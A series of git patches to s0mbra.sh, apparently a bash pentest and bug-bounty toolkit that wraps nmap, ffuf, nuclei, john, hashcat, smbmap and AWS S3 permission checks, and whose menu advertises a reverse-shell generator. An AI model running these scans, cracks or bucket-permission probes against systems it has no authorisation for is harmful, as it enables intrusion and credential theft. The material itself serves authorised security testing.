$GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 634219e12a26cbe7b2146b9d14010a28c8f924b7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 21 Dec 2021 12:23:03 +0000 Subject: [PATCH 236/460] [s0mbra] ransack - HTTP/HTTPS proto optiona (HTTPS by default) --- s0mbra.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 80b7dc4..b756312 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,7 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - PROTO=$2 + + if [[ -z $2 ]]; then + PROTO='https' + else + PROTO=$2 + fi + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -279,7 +285,7 @@ ransack() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" From 943649b863c3cdad627454794bf490daea6c52e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Dec 2021 16:11:53 +0000 Subject: [PATCH 237/460] [s0mbra] fix for colors in nmap_scan --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..c348851 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,7 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -115,7 +114,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { From 7e2e9abe0385523d42674bfa5e6b5cd9e8517c0b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:21 +0000 Subject: [PATCH 238/460] [s0mbra] usage update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9331077..fc90a25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -258,7 +258,7 @@ ransack() { else PROTO=$2 fi - + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From c464aaa4cd4b033f9149748dd1794e77f73ea3e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:50 +0000 Subject: [PATCH 239/460] [s0mbra] formatting --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fc90a25..96a3920 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From bd0891fe767fb93e10435aff065dff834d1c7763 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Dec 2021 15:43:01 +0000 Subject: [PATCH 240/460] [s0mbra] remove/re-arrange options --- s0mbra.sh | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96a3920..e88c4c9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,18 +101,6 @@ ssh_to_john() { rockyou_john "$1".hash } -# static code analysis of npm module installed in ~/node_modules -# with nodestructor and semgrep -npm_scan() { - echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" - nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js - exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) - if [ "$exitcode" == 0 ]; then - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js - fi - echo -e "\n\n[+]Done." -} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -122,12 +110,6 @@ snyktest() { echo -e "\n\n[+]Done." } -# static code analysis of single JavaScript code -javascript_sca() { - echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" - nodestructor --include-browser-patterns --include-urls "$1" - echo -e "\n\n[+]Done." -} # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { @@ -539,15 +521,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - npm_scan) - npm_scan "$2" - ;; snyktest) snyktest ;; - javascript_sca) - javascript_sca "$2" - ;; dex_to_jar) dex_to_jar "$2" ;; @@ -618,12 +594,11 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$BLUE:: RE ::$CLR" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 3450a0c76a8c101d7548d0769239c5eb155e4274 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Dec 2021 10:56:04 +0000 Subject: [PATCH 241/460] [s0mbra] um - unminify JS file --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e88c4c9..699b751 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,6 +101,13 @@ ssh_to_john() { rockyou_john "$1".hash } +# runs unminify on $1 JavaScript file +um() { + FILENAME=$1 + echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + unminify $FILENAME > unmimified.js + echo -e "\n\n[+]Done." +} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -110,7 +117,6 @@ snyktest() { echo -e "\n\n[+]Done." } - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -521,6 +527,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + um) + um "$2" + ;; snyktest) snyktest ;; @@ -595,6 +604,7 @@ case "$cmd" in echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: SAST ::$CLR" + echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: RE ::$CLR" From f26ad840d2593b7464279a28c0e07dad64ed5f7b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 27 Dec 2021 15:26:56 +0000 Subject: [PATCH 242/460] [s0mbra] update recon() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 699b751..c106360 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -223,7 +223,7 @@ recon() { NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) From 3293c44d151b8d8f1031b77f33d5c65ea2a4ab67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 28 Dec 2021 12:20:40 +0000 Subject: [PATCH 243/460] [s0mbra] recon() improvements - added some options for subfinder --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c106360..151a7df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -206,7 +206,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" From c2e35a2f5031e2eb3a381d53c0bb24def6eee031 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 29 Dec 2021 12:57:50 +0000 Subject: [PATCH 244/460] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 151a7df..8395c4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -611,9 +611,9 @@ case "$cmd" in echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From b94e38963bdb3e6888183a315eb1c44162140b27 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 30 Dec 2021 16:09:55 +0000 Subject: [PATCH 245/460] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8395c4c..22a434b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -588,9 +588,9 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From dc5d249980e69bc86e252c5418505d4812c69f9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 4 Jan 2022 00:03:28 +0000 Subject: [PATCH 246/460] [s0mbra] improvements --- s0mbra.sh | 124 +++++++++++++++++++++++++++--------------------------- 1 file changed, 62 insertions(+), 62 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 22a434b..dca12dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,37 +28,37 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -74,7 +74,7 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { - echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" @@ -86,35 +86,35 @@ rockyou_john() { # ZIP password cracking with rockyou.txt rockyou_zip() { - echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt - echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt } # converts id_rsa to JTR format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash - echo -e "$BLUE[+] We have a hash.\n" - echo -e "$BLUE[+] Let's now crack it!" + echo -e "$BLUE[s0mbra] We have a hash.\n" + echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash } # runs unminify on $1 JavaScript file um() { FILENAME=$1 - echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.js - echo -e "\n\n[+]Done." + echo -e "\n\n[s0mbra]Done." } # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n\n[+]Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -131,16 +131,16 @@ smb_enum() { password="$3" fi - echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating SMB shares with nmap on $1...$CLR" nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" - echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + echo -e "$YELLOW\n[s0mbra] smbmap -u $username -p $password against\t\t -> $1...$CLR" smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks for d in $(grep 'READ' __disks | cut -d' ' -f 1); do - echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + echo -e "$YELLOW\n[s0mbra] content of $d directory saved to $1__shares_listings $CLR" smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # download file from SMB share @@ -157,52 +157,52 @@ smb_get_file() { password="$3" fi - echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares smb_mount() { - echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" mkdir -p mnt/shares echo "//$3@$1/$2" mount_smbfs "//$3@$1/$2" ./mnt/shares - echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it smb_umount() { - echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: nfs_enum() { - echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" @@ -227,13 +227,13 @@ recon() { done END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? @@ -252,7 +252,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -274,42 +274,42 @@ ransack() { nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } kiterunner() { HOSTNAME=$1 - echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # Python Static Source Code analysis pysast() { DIR_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running pyflakes against $DIR_NAME $CLR\n" python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running mypy against $DIR_NAME $CLR\n" python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running bandit against $DIR_NAME $CLR\n" python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # checking AWS S3 bucket s3() { - echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + echo -e "$BLUE[s0mbra] Checking AWS S3 $1 bucket$CLR" aws s3 ls "s3://$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" @@ -356,12 +356,12 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } s3go() { clear - echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" 